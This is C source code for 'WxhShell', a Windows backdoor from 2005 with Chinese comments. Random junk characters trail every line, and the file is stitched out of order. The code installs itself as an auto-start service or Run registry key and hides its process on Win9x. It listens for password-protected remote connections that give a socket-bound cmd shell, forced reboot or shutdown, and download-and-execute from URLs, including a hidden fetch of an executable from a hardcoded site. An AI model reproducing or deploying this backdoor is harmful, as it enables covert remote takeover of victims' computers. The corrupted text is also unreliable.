    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]j,o!|rx7  
    if(Boot(SHUTDOWN)) NX(IX6^y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SeS ZMv  
    else { *c/|/  
    closesocket(wsh); 7b-[# g  
    ExitThread(0); .Jg<H %%f  
    } n#WOIweInf  
    break; {wt9/IlG1  
    } N4-Y0BO  
  // 获取shell  -L2 +4  
  case 's': { (QqeMG,Y  
    CmdShell(wsh); J0e^v  
    closesocket(wsh); /8`9SS  
    ExitThread(0); @>~S$nw/  
    break; UHi^7jQ  
  } Zn. S65J*u  
  // 退出 E=S_1  
  case 'x': { zK1\InP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {~}:oV  
    CloseIt(wsh); 2uY:p=DxG9  
    break; xJ:Am>%\^  
    } ]v@ng8  
  // 离开 }3XjP55  
  case 'q': { :4X,5X7tW=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QjJlVlp  
    closesocket(wsh); veh=^K%G |  
    WSACleanup(); xOg|<Nnl  
    exit(1); *kF/yN  
    break; jL5O{R[ x:  
        } ^tm2Duv  
  } Gv8Z  
  } /i Xl] <  
F$JA IL{W  
  // 提示信息 yJqDB$0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :18}$  
} R*W1<W%q=  
  } "FGgem%9  
_h=h43'3  
  return; L7(.dO0C  
} d@cyQFX  
_3f/lG?&-  
// shell模块句柄 1uA-!T*e>  
int CmdShell(SOCKET sock) G+C{_o#3  
{ Ssa/;O2  
STARTUPINFO si; kaEu\@%n  
ZeroMemory(&si,sizeof(si)); 5qqU8I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z=jzr=lP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j `3IizN2  
PROCESS_INFORMATION ProcessInfo; ?W?n l:F  
char cmdline[]="cmd"; B@\0b|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q4"^G:  
  return 0; aG@GJ@w  
} ko!aX;K  
^H<VH  
// 自身启动模式 k^k1>F}yx  
int StartFromService(void) (lit^v,9  
{ biffBC:q  
typedef struct \4 t;{_  
{ JL:B4 f%}B  
  DWORD ExitStatus; yFFNzw{  
  DWORD PebBaseAddress; 95D(0qv  
  DWORD AffinityMask; x5U;i  
  DWORD BasePriority; d]=>U^K  
  ULONG UniqueProcessId; hiR+cPSF  
  ULONG InheritedFromUniqueProcessId; l>HB0o  
}   PROCESS_BASIC_INFORMATION; ={190=\9  
MD>E0p)  
PROCNTQSIP NtQueryInformationProcess; waV4~BdL  
K~5(j{Kb8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RhjU^,%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X)9|ZF2`  
7#T@CKdUd  
  HANDLE             hProcess; &.0wPyw  
  PROCESS_BASIC_INFORMATION pbi; Dp@m"_1`+  
a5@lWpQsV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >6;RTN/P2  
  if(NULL == hInst ) return 0; cetlr  
JvW!w)$pY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,Qe`(vU*s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  :KRe==/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aO\@5i_r  
dUceZmAl  
  if (!NtQueryInformationProcess) return 0; Gh'{O/F4*  
:J5CmU $  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uk.x1*0x  
  if(!hProcess) return 0; *;.:UR[i  
H{d/%}7[v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U.W Mu%  
<lSo7NkR  
  CloseHandle(hProcess); DB] ]6  
IifH=%2Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xU9^8,6  
if(hProcess==NULL) return 0; _j_c&  
&gm/@_  
HMODULE hMod; 1;MUemnx`  
char procName[255]; bqR0./V  
unsigned long cbNeeded; y=}a55:qE  
ue}lAW{q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jin?;v  
0L7^Vr)  
  CloseHandle(hProcess); D4GXZX8 K  
jBd9  $`  
if(strstr(procName,"services")) return 1; // 以服务启动 :4238J8  
."v&?o Ck]  
  return 0; // 注册表启动 'DH_ihZ  
} nZS*"O#L  
g[xn0 rG  
// 主模块 y {Mh ?H  
int StartWxhshell(LPSTR lpCmdLine) qSL~A-  
{ KH1/B_.\V  
  SOCKET wsl; Nx(y_.I{K  
BOOL val=TRUE; f^XfIH_#  
  int port=0; =Sn!'@%U]  
  struct sockaddr_in door; *_yp]z"  
h"Q&E'0d  
  if(wscfg.ws_autoins) Install(); z*:.maq  
=G<S!qW  
port=atoi(lpCmdLine); %5bN@XD  
HmEU;UbO-  
if(port<=0) port=wscfg.ws_port; &T-udgR9  
\6Hu&WHy  
  WSADATA data; <.6$zcW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a,p7l$kK  
ch}(v'xv(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (KG>lTdN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `\S~;O  
  door.sin_family = AF_INET; uwb>q"M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?Wp{tB9N0  
  door.sin_port = htons(port); PR1%  
o"A%dC_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nF| m*_DW  
closesocket(wsl); P}Ule|&LK  
return 1; 5 %aT  
} [k6 5i  
})r[q sv  
  if(listen(wsl,2) == INVALID_SOCKET) { ='r4z z  
closesocket(wsl); utwqP~  
return 1; nbz?D_  
} Rs%6O|u7  
  Wxhshell(wsl); Wj. _{  
  WSACleanup(); c7N`W}BZ  
T\Q)"GB  
return 0; 8/E?3a_g-  
xo_Es?  
} E%+1^ L  
l4Y}<j\;  
// 以NT服务方式启动 =zW.~(c{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PfVjfrI[  
{ D(<20b,  
DWORD   status = 0; +Gvf5+ 5VR  
  DWORD   specificError = 0xfffffff; >?A3;O]  
Lv ,Ls  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (@?PN+68|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N;\by<snN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @7';bfsix  
  serviceStatus.dwWin32ExitCode     = 0; ojd/%@+u+Y  
  serviceStatus.dwServiceSpecificExitCode = 0;  i'9  
  serviceStatus.dwCheckPoint       = 0; iPJZ%  
  serviceStatus.dwWaitHint       = 0; mYzq[p_|j  
_nj?au(@`Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fKAG+t  
  if (hServiceStatusHandle==0) return; 8aD4 wc  
`ja**re  
status = GetLastError(); C '}8  
  if (status!=NO_ERROR) l2!4}zI2  
{ m/0t; cx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dKyX70Zy9  
    serviceStatus.dwCheckPoint       = 0; e]{X62]  
    serviceStatus.dwWaitHint       = 0; aKC3T-  
    serviceStatus.dwWin32ExitCode     = status; b9([)8  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2 }Q)&;u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PRCr7f  
    return; {N$G|bm]u<  
  } rm4j8~Ef  
Y&5h_3K;<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u]ZCYJ>  
  serviceStatus.dwCheckPoint       = 0; @[S\ FjI  
  serviceStatus.dwWaitHint       = 0; c;bp[ Y3R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dDy9yw%f?  
} KyAQzN9  
w_I}FPT<(:  
// 处理NT服务事件,比如:启动、停止 Aj4i}pT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &`63"^y  
{ {E`f(9r:  
switch(fdwControl) _A \c 6#  
{ }T+pd#>  
case SERVICE_CONTROL_STOP: 7@Qz  
  serviceStatus.dwWin32ExitCode = 0; S-:l 60.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z6R<*$4  
  serviceStatus.dwCheckPoint   = 0; |S:St HZm  
  serviceStatus.dwWaitHint     = 0; ,.f GZ4  
  { cQUmcK/,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u<\/T&S  
  } #x&1kHu<  
  return; F 3}cVO2bY  
case SERVICE_CONTROL_PAUSE: P{)eZINlE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !T|X/B R  
  break; (a1s~  
case SERVICE_CONTROL_CONTINUE: 70m}+R(`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y_8 8I:O  
  break; -q\1Tlc]3  
case SERVICE_CONTROL_INTERROGATE: BaTE59W  
  break; 3%xj-7z W  
}; SVaC)O(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z&d&Ky  
} V4Ql6vg_f  
H5=-b@(  
// 标准应用程序主函数 (Y!@,rKd   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a3037~X  
{ \?)<==^  
Pd\S{ Y~wk  
// 获取操作系统版本 F\&R nDJ  
OsIsNt=GetOsVer(); [*#ms=Zdc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B}YB%P_CWs  
z}N=Oe  
  // 从命令行安装 _y),C   
  if(strpbrk(lpCmdLine,"iI")) Install();  #IyxH$  
icHc!m?  
  // 下载执行文件 4RNB\D  
if(wscfg.ws_downexe) { Hc4]2pf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HkEfBQmh  
  WinExec(wscfg.ws_filenam,SW_HIDE); Qg9 N?e{z  
} }0|,*BkI m  
KyNv)=x4c  
if(!OsIsNt) { \ M8;CN  
// 如果时win9x,隐藏进程并且设置为注册表启动 b4s.`%U  
HideProc(); Z@ * ^4Ve  
StartWxhshell(lpCmdLine); B9n$8QS  
} IiIF4 pQ,  
else ~(%nnG6x  
  if(StartFromService()) aDTNr/I  
  // 以服务方式启动 3xh~xE  
  StartServiceCtrlDispatcher(DispatchTable); d?*=<w!A  
else \:\rkc9LI  
  // 普通方式启动 sUcx;<|BC  
  StartWxhshell(lpCmdLine); -D0kp~AO4N  
z'MOuz~Y  
return 0; u:3~Ius  
} zVYX#- nv  
_CBG?  
[L"(flY(E  
SI)u@3hl&w  
===========================================  J O`S  
Lt.a@\J'_  
jX!,xS%(  
,D3?N2mB  
iXMs*G cK  
,l#Ev{  
" :03w k)  
a8FC#kfq  
#include <stdio.h> xf?*fm?m  
#include <string.h> )VID ;l;4  
#include <windows.h> G@ XKE17  
#include <winsock2.h> _K3?0<=4  
#include <winsvc.h> NSUw7hnWvz  
#include <urlmon.h> xg k~y,F  
&[}b HX /  
#pragma comment (lib, "Ws2_32.lib") =U!M,zw4  
#pragma comment (lib, "urlmon.lib") 0$%:zHi5g  
dQQh$*IL?{  
#define MAX_USER   100 // 最大客户端连接数 6SIk?]u  
#define BUF_SOCK   200 // sock buffer aRdzXq#x  
#define KEY_BUFF   255 // 输入 buffer |vw0:\/ H  
Dx/BxqG6}_  
#define REBOOT     0   // 重启 D|@*HX@_Xp  
#define SHUTDOWN   1   // 关机 G< l+94(  
\m~ ?mg"#  
#define DEF_PORT   5000 // 监听端口 61HU_!A8S  
r1yz ?Y_P  
#define REG_LEN     16   // 注册表键长度 HP^<2?K  
#define SVC_LEN     80   // NT服务名长度 $rv&!/}]e  
;z/Z(7<; ;  
// 从dll定义API #HpF\{{v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |T atRB3>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a_P8!pk+5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >}%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7,ysixY  
9^,MC&eb  
// wxhshell配置信息 j]#qq]c  
struct WSCFG { 'z8?_{$   
  int ws_port;         // 监听端口 bf|s=,D  
  char ws_passstr[REG_LEN]; // 口令 Stq&^S\x69  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9}p?h1NrY  
  char ws_regname[REG_LEN]; // 注册表键名 J wL}|o6  
  char ws_svcname[REG_LEN]; // 服务名 GSIRZJl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -/Pg[Lx7Pb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HKbyi~8N=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $n\{6Rwb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1%68Pnqk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ov*?[Y7|~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U}<5%"!;  
tAO,s ZW  
}; sygxV  
SK t&]H  
// default Wxhshell configuration a,i k=g  
struct WSCFG wscfg={DEF_PORT, ?55t0  
    "xuhuanlingzhe", :sAb'6u1EU  
    1, 7v3'JG1r-  
    "Wxhshell", 1t wC-rC  
    "Wxhshell", @&#k['c  
            "WxhShell Service", SEa'>UG  
    "Wrsky Windows CmdShell Service", $L7Z_JD5  
    "Please Input Your Password: ", k!l\|~  
  1, p'{B|ujj6  
  "http://www.wrsky.com/wxhshell.exe", oJb${k<3  
  "Wxhshell.exe" \H^DiF%f9  
    }; Oo^kV:.)  
jD1/`g%  
// 消息定义模块 ;c p*]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'c7C*6;a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /k8Lu+OJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .}!"J`{ W  
char *msg_ws_ext="\n\rExit."; g<pr(7jO  
char *msg_ws_end="\n\rQuit."; yNCd} 4Ym5  
char *msg_ws_boot="\n\rReboot..."; [qbZp1s|(  
char *msg_ws_poff="\n\rShutdown..."; sG{fxha  
char *msg_ws_down="\n\rSave to ";  |Hx#Uk#  
SO @d\H  
char *msg_ws_err="\n\rErr!"; 4eH:eCZze  
char *msg_ws_ok="\n\rOK!"; @h7)M:l  
P/i{_r  
char ExeFile[MAX_PATH]; hOZ:r =%  
int nUser = 0; >-U'mkIH  
HANDLE handles[MAX_USER]; 3L}eF g,d  
int OsIsNt; 3-x ;_  
*\Z9=8yK  
SERVICE_STATUS       serviceStatus; 9U~fc U6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U )kl !  
8J|2b; Vf  
// 函数声明 Nz/PAs7g6  
int Install(void); JBqL0H  
int Uninstall(void); Qw>~] d,Z  
int DownloadFile(char *sURL, SOCKET wsh); OlRtVp1  
int Boot(int flag); !r\u,l^  
void HideProc(void); o%3i(H  
int GetOsVer(void); >7g #e,d   
int Wxhshell(SOCKET wsl); 'Ur1I "  
void TalkWithClient(void *cs); Ckd j|  
int CmdShell(SOCKET sock); \Lu aI  
int StartFromService(void); B xAyjA6  
int StartWxhshell(LPSTR lpCmdLine); >b\{y}[  
`Iwl\x[A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3yGo{uW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +;r1AR1)x  
x[u4>f  
// 数据结构和表定义 lw+54lZX|  
SERVICE_TABLE_ENTRY DispatchTable[] = F*u"LTH  
{ gq%U5J"x;J  
{wscfg.ws_svcname, NTServiceMain}, e={ ?d6  
{NULL, NULL} BD.&K_AW  
}; i~Qnw-^B  
UHyGW$B  
// 自我安装 /{6&99SJcc  
int Install(void) &t)$5\r  
{ l,fwF ua  
  char svExeFile[MAX_PATH]; &{4KymB:  
  HKEY key; Q|KD$2rB  
  strcpy(svExeFile,ExeFile); /]U),LbN  
{L'uuG\9U  
// 如果是win9x系统,修改注册表设为自启动 3~q#P   
if(!OsIsNt) { /1@py~ZX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !NqLBrcv0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c r,fyAvX  
  RegCloseKey(key); Qg6tJB   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &/m0N\n?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t,NE`LC  
  RegCloseKey(key); tJe5`L  
  return 0; #~}4< 18  
    } -%fc)y&$  
  } O0l1AX"  
} CwjKz*'[g  
else { i[Qq,MmC  
/ jLb{Ky  
// 如果是NT以上系统,安装为系统服务 ]hMs:$}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JUXo3D~  
if (schSCManager!=0) U8S<wf&  
{ t $m:  
  SC_HANDLE schService = CreateService `}:pUf  
  ( ,_K y'B  
  schSCManager, -6W$@,K  
  wscfg.ws_svcname, &?@gCVNO,  
  wscfg.ws_svcdisp, [L>mrHqG  
  SERVICE_ALL_ACCESS, LbkQuq/d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U| T}0  
  SERVICE_AUTO_START, Sq ]VtQ(  
  SERVICE_ERROR_NORMAL, qrHCr:~  
  svExeFile, A&N$=9.N1  
  NULL, Prc (  
  NULL, 5Vc~yMz  
  NULL, .Te GA;  
  NULL, Skl:~'W.&|  
  NULL 5X PoQ^  
  ); 5Lm-KohT'  
  if (schService!=0) ,UYe OM2Ao  
  { h[bC#(  
  CloseServiceHandle(schService); 3mQ3mV:  
  CloseServiceHandle(schSCManager); 7aS%;EU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '2qbIYanh  
  strcat(svExeFile,wscfg.ws_svcname); QVF561Yz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yi8AzUW cW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fBb:J+  
  RegCloseKey(key); /&H l62Ak  
  return 0; Fs}B\R/J  
    } |Ed?s  
  } w1EB>!<;tj  
  CloseServiceHandle(schSCManager); o)wOXF  
} 1@t8i?:h  
} |J"\~%8  
*5u3d`bW  
return 1; }S"qU]>8a  
} ?7#{#sj  
.unlr_eA  
// 自我卸载 O]XgA0]  
int Uninstall(void) T |&u?  
{ ^V~^[Yp  
  HKEY key; R5 i xG9  
d};[^q6X  
if(!OsIsNt) { ov5g`uud  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )gx*;z@  
  RegDeleteValue(key,wscfg.ws_regname); *:% I|5  
  RegCloseKey(key); Z,-J tl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ol1J1Zg  
  RegDeleteValue(key,wscfg.ws_regname); x*!*2{  
  RegCloseKey(key); ai<K6)  
  return 0; ]DUmp6  
  } !gL1  
} G?^w <  
} z5_jx&^Z  
else { G%junS'zt  
as73/J6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ujn7DBE"  
if (schSCManager!=0) \=[38?QOY  
{ Xyu0n p;@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (QdLz5\  
  if (schService!=0) [s[!PlazX  
  { B1j^qoC.5  
  if(DeleteService(schService)!=0) { cm8co  
  CloseServiceHandle(schService); l*Q OM  
  CloseServiceHandle(schSCManager); V`0Y p  
  return 0; iA|n\a~ny,  
  } B~E>=85z  
  CloseServiceHandle(schService); NxzAlu  
  } </B:Zjn  
  CloseServiceHandle(schSCManager); %EYh*g{G  
} yO/'}FD  
} g7w#;E  
=eR#]d  
return 1; tI  
} 7H4\AG\>  
m2l0`l~T8  
// 从指定url下载文件 9&HaEAme  
int DownloadFile(char *sURL, SOCKET wsh) 5Z(q|nn7P  
{ >CqZ75>  
  HRESULT hr; +f}w+  
char seps[]= "/"; oore:`m;  
char *token; gk}.L E  
char *file; LWxP}? =  
char myURL[MAX_PATH]; S#0C^  
char myFILE[MAX_PATH]; &Z}}9dd  
pf#R]  
strcpy(myURL,sURL); @7t*X-P.;-  
  token=strtok(myURL,seps); 4<- E0  
  while(token!=NULL) l}FA&c"  
  { + jN)$Y3Ya  
    file=token; Bnz}:te}  
  token=strtok(NULL,seps); 7H)tF&  
  } ?IDkDv!na~  
x}f)P  
GetCurrentDirectory(MAX_PATH,myFILE); KfSbm?  
strcat(myFILE, "\\"); o9v.]tb  
strcat(myFILE, file); w uhL r(  
  send(wsh,myFILE,strlen(myFILE),0); >J,IxRGi  
send(wsh,"...",3,0); bv``PSb3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A&d_! u>  
  if(hr==S_OK) #%]?e N  
return 0; Pk8(2fAYk  
else mp0s>R  
return 1; =T$2Qo8  
J=H8^4M  
} ()fYhk|W  
dCWq~[[  
// 系统电源模块 T2to!*T  
int Boot(int flag) SIzA0  
{ >?{> !#1  
  HANDLE hToken; q#0yu"<  
  TOKEN_PRIVILEGES tkp; pW&8 =Ew  
0a+U >S#  
  if(OsIsNt) { C?rb}(m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B~3qEdoK5`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aSeh?2n8  
    tkp.PrivilegeCount = 1; HmV JkkksJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1 y7$"N8Xo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _Ry  
if(flag==REBOOT) { V^\b"1X7N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?aZ\D g{  
  return 0; /b{Ufo3v  
} i;67< f}-  
else { Ct0%3]<J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G)=+Nt\ *  
  return 0; NV^n}]ci  
} ?o d*"M  
  } 602=qb  
  else { 5?TjuGc  
if(flag==REBOOT) { kCKCJ }N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v8THJf  
  return 0; &RlYw#*1.  
} 6w0r)  
else { aV n+@g<.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {z# W-  
  return 0; (k %0|%eR  
} L ~$&+g  
} H"rIOoxf  
Bs-MoT!  
return 1; ."j*4  
} (!<G` ;}u  
=Y R+`[bfI  
// win9x进程隐藏模块 n(\VP!u5r  
void HideProc(void) )<L?3Jjt5  
{ Byns6k  
M'xG.'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3UGdXufw  
  if ( hKernel != NULL ) 1c $iW>0K  
  { WoWBZ;+U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U&6f:IV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gk"J+uM  
    FreeLibrary(hKernel); 9riKSp:5  
  } ="[6Z$R  
m6 a @Y<  
return; Va\?"dH>M  
} !xD_=O  
28o!>*  
// 获取操作系统版本 SVT'fPm1M  
int GetOsVer(void) }/z\%Y  
{ 4!<[5+.  
  OSVERSIONINFO winfo; Oc^bbC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4Bq4d.0  
  GetVersionEx(&winfo); Z9lfd6MU,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OSCeTkR  
  return 1; H{*R(S<I  
  else UyOoyyd.  
  return 0; $@L}/MO  
} YRP$tz+ _  
j*1O(p+  
// 客户端句柄模块 ?;Ge/~QU5  
int Wxhshell(SOCKET wsl) b%I2ig  
{ .sbV<ulbc  
  SOCKET wsh; ,:/3'L  
  struct sockaddr_in client; [3hOc/]s  
  DWORD myID; 2d-C}&}L\  
ht^xc c  
  while(nUser<MAX_USER) 4+r26S,T  
{ Psu*t%nQ?A  
  int nSize=sizeof(client); Gw Z(3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); btU:=6  
  if(wsh==INVALID_SOCKET) return 1; @c{b\is2  
)V*V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U*Pi%J  
if(handles[nUser]==0) Yc1ve  
  closesocket(wsh); m_1BB$lyP2  
else 38O_PK  
  nUser++; mkt%|Kb.  
  } /bv4/P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,(CIcDJ2U_  
0~j0x#  
  return 0; T=->~@5  
} C9FQo7   
$v+t ~b  
// 关闭 socket 9!oNyqQ  
void CloseIt(SOCKET wsh) !`#xFRHe  
{ 38eeRo  
closesocket(wsh); +tPqU6  
nUser--; '#0'_9}  
ExitThread(0); p/inATH  
} @I|gA  
bT{iei]?  
// 客户端请求句柄 v}\Nx[}  
void TalkWithClient(void *cs) ?)B\0` %*'  
{ [!#<nY/C  
GFBku^pi  
  SOCKET wsh=(SOCKET)cs; Q#rj>+?  
  char pwd[SVC_LEN]; B>M@'  
  char cmd[KEY_BUFF]; Q{+&3KXH  
char chr[1]; <Xr {1M D  
int i,j; J.QFrIB{]+  
)R'~{;z }  
  while (nUser < MAX_USER) { ]J7.d$7T  
V}kQXz"9  
if(wscfg.ws_passstr) { Th)Z?\8zk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /<$\)|r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &udlt//^%  
  //ZeroMemory(pwd,KEY_BUFF); * "Z5bKL  
      i=0; aM|^t:  
  while(i<SVC_LEN) { s!j[Ovtx  
G\1\L*+0  
  // 设置超时 B#K{Y$!v  
  fd_set FdRead; u:f.g?!`"  
  struct timeval TimeOut; 7U\GX  
  FD_ZERO(&FdRead); "?UBW5nM#  
  FD_SET(wsh,&FdRead); &z(E-w/S  
  TimeOut.tv_sec=8; L^0s  
  TimeOut.tv_usec=0; [~<X|_L G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U6@Hgi>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :v!e8kM\x  
9I;d>%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e1 j3X\ \  
  pwd=chr[0]; @H^Yf  
  if(chr[0]==0xd || chr[0]==0xa) { +bw>9VmG  
  pwd=0; LJ Aqk2k  
  break; r#%z1u  
  } 9zKrFqhNo  
  i++; i/%+x-#  
    }  bK|I  
j:;[Y`2  
  // 如果是非法用户,关闭 socket BB694   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LzW8)<N  
} 0//?,'.  
K*_5M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $ &Ntdn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fvDt_g9oI  
ShV#XnQ  
while(1) { F5|6*K  
R"9^FQ13  
  ZeroMemory(cmd,KEY_BUFF); "Vg1'd}f  
5HZt5="+  
      // 自动支持客户端 telnet标准   1webk;IM  
  j=0; b!7*bFTt  
  while(j<KEY_BUFF) { 69{BJ] q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x"9e eB,  
  cmd[j]=chr[0]; #MyR:V*a  
  if(chr[0]==0xa || chr[0]==0xd) { ,u1Yn}  
  cmd[j]=0; ?W*{% my  
  break; Nj<}t/e  
  } o& GS;{Rs  
  j++; G' 5p/:  
    } /7 CF f&4  
d@a FW  
  // 下载文件 GEdWpYKS-`  
  if(strstr(cmd,"http://")) { Sd !!1a s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G>/Gw90E  
  if(DownloadFile(cmd,wsh)) -.>b7ui  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n\v;4ly^  
  else E*!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v\3:R,|'  
  } zq=X;}qYj  
  else { =z5'A|Wa=,  
pO* $ '8L  
    switch(cmd[0]) { 3 %ppvvQ  
  F3XB};  
  // 帮助 4;]<#u  
  case '?': { 1VlRdDg  
